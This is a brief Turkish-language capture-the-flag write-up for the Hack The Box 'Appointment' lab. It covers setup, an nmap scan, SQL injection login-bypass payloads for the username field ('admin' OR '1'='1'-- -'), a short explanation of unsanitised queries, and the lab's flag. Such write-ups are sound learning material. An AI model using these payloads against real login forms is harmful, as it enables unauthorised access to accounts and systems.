Adım 0: Başlangıç#

1
mkdir -p HTB/LAB/APPOINTMENT && cd HTB/LAB/APPOINTMENT
2
IP=10.129.11.227 && ping -c 2 $IP

Bu komutları anlamıyorsan, ilk raporlara göz at.

• GİT! Başlangıç bölümünü incele -> Meow
• GİT! Başlangıç bölümünü incele -> Fawn

Adım 1: Keşif#

1
nmap -sC -sV $IP

Adım 2: Çözüm -> SQLi#

Aşağıdaki payloadu username alanına yaz:

1
admin' OR '1'='1'-- -

Parola ne olursa olsun fark etmez. Sadece kutuyu doldur.

• Alternatif: ' OR 1=1-- -

SQLi

Sorgu düzgün sanitize edilmediğinde, kimlik doğrulama koşulu her zaman doğru olur ve giriş bypass edilir.

Capture the Flag#

1
e3d0796d002a446c0e622226f42e9672

Şimdi kendine şu soruları sor:

• Bir giriş sayfasında SQL açığı olduğunu nasıl anlarsın?
• Bu komutları tek tek yazmak zorunda mıyız? Kolay yolu ne?

Tamamdır!#

Şimdilik başka bir şey yok.